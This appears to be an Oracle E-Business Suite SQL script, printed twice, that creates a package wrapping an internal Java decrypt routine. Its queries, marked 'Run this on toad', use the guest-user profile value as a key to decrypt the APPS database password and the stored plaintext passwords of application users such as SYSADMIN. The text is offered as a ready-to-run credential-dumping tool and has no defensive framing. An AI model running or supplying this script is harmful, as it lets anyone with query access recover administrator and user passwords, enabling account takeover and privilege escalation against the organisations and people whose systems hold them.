-- Package Specification
CREATE OR REPLACE PACKAGE get_user_password
AS
FUNCTION decrypt (
KEY IN VARCHAR2
, VALUE IN VARCHAR2
)
RETURN VARCHAR2;
END get_user_password;
-- Package Body
CREATE OR REPLACE PACKAGE BODY get_user_password
AS
FUNCTION decrypt (
KEY IN VARCHAR2
, VALUE IN VARCHAR2
)
RETURN VARCHAR2
AS
LANGUAGE JAVA
NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END get_user_password;
/** Run this on toad, Get the application usernames and passwords */
SELECT usertable.user_name
, (SELECT get_user_password.decrypt
(UPPER
((SELECT (SELECT get_user_password.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD'))
FROM DUAL)
)
, usertable.encrypted_foundation_password
)
FROM DUAL) AS apps_password
FROM fnd_user usertable
WHERE usertable.user_name LIKE
UPPER ((SELECT SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD')
, 1
, INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/') - 1
)
FROM DUAL)
))
)
, usertable.encrypted_user_password
)
FROM DUAL) AS encrypted_user_password
FROM fnd_user usertable
WHERE usertable.user_name LIKE UPPER ('&username') -- SYSADMIN
/** Run this on toad, Get the DB apps password */
SELECT (SELECT get_user_password.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD'))
FROM DUAL))
, usertable.encrypted_foundation_password
)
FROM DUAL) AS apps_password
FROM fnd_user usertable
WHERE usertable.user_name LIKE
UPPER ((SELECT SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD')
, 1
, INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/') - 1
)
FROM DUAL)
)
CREATE OR REPLACE PACKAGE get_user_password
AS
FUNCTION decrypt (
KEY IN VARCHAR2
, VALUE IN VARCHAR2
)
RETURN VARCHAR2;
END get_user_password;
-- Package Body
CREATE OR REPLACE PACKAGE BODY get_user_password
AS
FUNCTION decrypt (
KEY IN VARCHAR2
, VALUE IN VARCHAR2
)
RETURN VARCHAR2
AS
LANGUAGE JAVA
NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END get_user_password;
/** Run this on toad, Get the application usernames and passwords */
SELECT usertable.user_name
, (SELECT get_user_password.decrypt
(UPPER
((SELECT (SELECT get_user_password.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD'))
FROM DUAL)
)
, usertable.encrypted_foundation_password
)
FROM DUAL) AS apps_password
FROM fnd_user usertable
WHERE usertable.user_name LIKE
UPPER ((SELECT SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD')
, 1
, INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/') - 1
)
FROM DUAL)
))
)
, usertable.encrypted_user_password
)
FROM DUAL) AS encrypted_user_password
FROM fnd_user usertable
WHERE usertable.user_name LIKE UPPER ('&username') -- SYSADMIN
/** Run this on toad, Get the DB apps password */
SELECT (SELECT get_user_password.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD'))
FROM DUAL))
, usertable.encrypted_foundation_password
)
FROM DUAL) AS apps_password
FROM fnd_user usertable
WHERE usertable.user_name LIKE
UPPER ((SELECT SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD')
, 1
, INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/') - 1
)
FROM DUAL)
)